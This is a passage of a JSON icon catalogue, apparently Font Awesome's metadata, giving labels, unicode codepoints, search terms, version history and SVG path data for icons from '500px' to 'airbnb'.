        "path": "M320 96V416C341.011 416 361.818 411.861 381.23 403.821C400.641 395.78 418.28 383.995 433.138 369.138C447.995 354.28 459.78 336.641 467.821 317.23C475.861 297.818 480 277.011 480 256C480 234.989 475.861 214.182 467.821 194.771C459.78 175.359 447.995 157.72 433.138 142.863C418.28 128.005 400.641 116.22 381.23 108.179C361.818 100.139 341.011 96 320 96ZM0 256L160.002 416L320.003 256L160.002 96L0 256ZM480 256C480 277.011 484.138 297.818 492.179 317.23C500.219 336.643 512.005 354.28 526.862 369.138C541.72 383.995 559.357 395.781 578.77 403.821C598.182 411.862 618.989 416 640 416V96C597.565 96 556.869 112.858 526.862 142.863C496.857 172.869 480 213.565 480 256Z"
      }
    },
    "free": ["brands"]
  },
  "500px": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f26e",
    "label": "500px",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M103.3 344.3c-6.5-14.2-6.9-18.3 7.4-23.1 25.6-8 8 9.2 43.2 49.2h.3v-93.9c1.2-50.2 44-92.2 97.7-92.2 53.9 0 97.7 43.5 97.7 96.8 0 63.4-60.8 113.2-128.5 93.3-10.5-4.2-2.1-31.7 8.5-28.6 53 0 89.4-10.1 89.4-64.4 0-61-77.1-89.6-116.9-44.6-23.5 26.4-17.6 42.1-17.6 157.6 50.7 31 118.3 22 160.4-20.1 24.8-24.8 38.5-58 38.5-93 0-35.2-13.8-68.2-38.8-93.3-24.8-24.8-57.8-38.5-93.3-38.5s-68.8 13.8-93.5 38.5c-.3.3-16 16.5-21.2 23.9l-.5.6c-3.3 4.7-6.3 9.1-20.1 6.1-6.9-1.7-14.3-5.8-14.3-11.8V20c0-5 3.9-10.5 10.5-10.5h241.3c8.3 0 8.3 11.6 8.3 15.1 0 3.9 0 15.1-8.3 15.1H130.3v132.9h.3c104.2-109.8 282.8-36 282.8 108.9 0 178.1-244.8 220.3-310.1 62.8zm63.3-260.8c-.5 4.2 4.6 24.5 14.6 20.6C306 56.6 384 144.5 390.6 144.5c4.8 0 22.8-15.3 14.3-22.8-93.2-89-234.5-57-238.3-38.2zM393 414.7C283 524.6 94 475.5 61 310.5c0-12.2-30.4-7.4-28.9 3.3 24 173.4 246 256.9 381.6 121.3 6.9-7.8-12.6-28.4-20.7-20.4zM213.6 306.6c0 4 4.3 7.3 5.5 8.5 3 3 6.1 4.4 8.5 4.4 3.8 0 2.6.2 22.3-19.5 19.6 19.3 19.1 19.5 22.3 19.5 5.4 0 18.5-10.4 10.7-18.2L265.6 284l18.2-18.2c6.3-6.8-10.1-21.8-16.2-15.7L249.7 268c-18.6-18.8-18.4-19.5-21.5-19.5-5 0-18 11.7-12.4 17.3L234 284c-18.1 17.9-20.4 19.2-20.4 22.6z"
      }
    },
    "free": ["brands"]
  },
  "a": {
    "aliases": {
      "unicodes": {
        "composite": ["61"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter A", "Latin Small Letter A", "letter"]
    },
    "styles": ["solid"],
    "unicode": "41",
    "label": "A",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M221.5 51.7C216.6 39.8 204.9 32 192 32s-24.6 7.8-29.5 19.7l-120 288-40 96c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L93.3 384H290.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-40-96-120-288zM264 320H120l72-172.8L264 320z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M221.5 51.7C216.6 39.8 204.9 32 192 32s-24.6 7.8-29.5 19.7l-120 288-40 96c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L93.3 384H290.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8l-40-96-120-288zM264 320H120l72-172.8L264 320z"
      }
    },
    "free": ["solid"]
  },
  "accessible-icon": {
    "aliases": {
      "unicodes": {
        "composite": ["f29b"]
      }
    },
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accessibility",
        "handicap",
        "person",
        "wheelchair",
        "wheelchair-alt"
      ]
    },
    "styles": ["brands"],
    "unicode": "f368",
    "label": "Accessible Icon",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M423.9 255.8L411 413.1c-3.3 40.7-63.9 35.1-60.6-4.9l10-122.5-41.1 2.3c10.1 20.7 15.8 43.9 15.8 68.5 0 41.2-16.1 78.7-42.3 106.5l-39.3-39.3c57.9-63.7 13.1-167.2-74-167.2-25.9 0-49.5 9.9-67.2 26L73 243.2c22-20.7 50.1-35.1 81.4-40.2l75.3-85.7-42.6-24.8-51.6 46c-30 26.8-70.6-18.5-40.5-45.4l68-60.7c9.8-8.8 24.1-10.2 35.5-3.6 0 0 139.3 80.9 139.5 81.1 16.2 10.1 20.7 36 6.1 52.6L285.7 229l106.1-5.9c18.5-1.1 33.6 14.4 32.1 32.7zm-64.9-154c28.1 0 50.9-22.8 50.9-50.9C409.9 22.8 387.1 0 359 0c-28.1 0-50.9 22.8-50.9 50.9 0 28.1 22.8 50.9 50.9 50.9zM179.6 456.5c-80.6 0-127.4-90.6-82.7-156.1l-39.7-39.7C36.4 287 24 320.3 24 356.4c0 130.7 150.7 201.4 251.4 122.5l-39.7-39.7c-16 10.9-35.3 17.3-56.1 17.3z"
      }
    },
    "free": ["brands"]
  },
  "accusoft": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f369",
    "label": "Accusoft",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M322.1 252v-1l-51.2-65.8s-12 1.6-25 15.1c-9 9.3-242.1 239.1-243.4 240.9-7 10 1.6 6.8 15.7 1.7.8 0 114.5-36.6 114.5-36.6.5-.6-.1-.1.6-.6-.4-5.1-.8-26.2-1-27.7-.6-5.2 2.2-6.9 7-8.9l92.6-33.8c.6-.8 88.5-81.7 90.2-83.3zm160.1 120.1c13.3 16.1 20.7 13.3 30.8 9.3 3.2-1.2 115.4-47.6 117.8-48.9 8-4.3-1.7-16.7-7.2-23.4-2.1-2.5-205.1-245.6-207.2-248.3-9.7-12.2-14.3-12.9-38.4-12.8-10.2 0-106.8.5-116.5.6-19.2.1-32.9-.3-19.2 16.9C250 75 476.5 365.2 482.2 372.1zm152.7 1.6c-2.3-.3-24.6-4.7-38-7.2 0 0-115 50.4-117.5 51.6-16 7.3-26.9-3.2-36.7-14.6l-57.1-74c-5.4-.9-60.4-9.6-65.3-9.3-3.1.2-9.6.8-14.4 2.9-4.9 2.1-145.2 52.8-150.2 54.7-5.1 2-11.4 3.6-11.1 7.6.2 2.5 2 2.6 4.6 3.5 2.7.8 300.9 67.6 308 69.1 15.6 3.3 38.5 10.5 53.6 1.7 2.1-1.2 123.8-76.4 125.8-77.8 5.4-4 4.3-6.8-1.7-8.2z"
      }
    },
    "free": ["brands"]
  },
  "address-book": {
    "aliases": {
      "names": ["contact-book"],
      "unicodes": {
        "composite": ["f2ba"],
        "secondary": ["10f2b9"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["contact", "directory", "index", "little black book", "rolodex"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2b9",
    "label": "Address Book",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM208 288h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM208 288h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H144c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z"
      },
      "regular": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M384 48c8.8 0 16 7.2 16 16V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H384zM96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM240 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H208zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M384 48c8.8 0 16 7.2 16 16V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H384zM96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM240 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H208zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z"
      }
    },
    "free": ["regular", "solid"]
  },
  "address-card": {
    "aliases": {
      "names": ["contact-card", "vcard"],
      "unicodes": {
        "composite": ["f2bc"],
        "secondary": ["10f2bb"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "about",
        "contact",
        "id",
        "identification",
        "postcard",
        "profile",
        "registration"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2bb",
    "label": "Address Card",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 256h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zm256-32H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 256h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zm256-32H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM208 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H304c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H176zM376 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM208 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H304c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H176zM376 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z"
      }
    },
    "free": ["regular", "solid"]
  },
  "adn": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f170",
    "label": "App.net",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z"
      }
    },
    "free": ["brands"]
  },
  "adversal": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36a",
    "label": "Adversal",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z"
      }
    },
    "free": ["brands"]
  },
  "affiliatetheme": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36b",
    "label": "affiliatetheme",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z"
      }
    },
    "free": ["brands"]
  },
  "airbnb": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f834",
    "label": "Airbnb",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
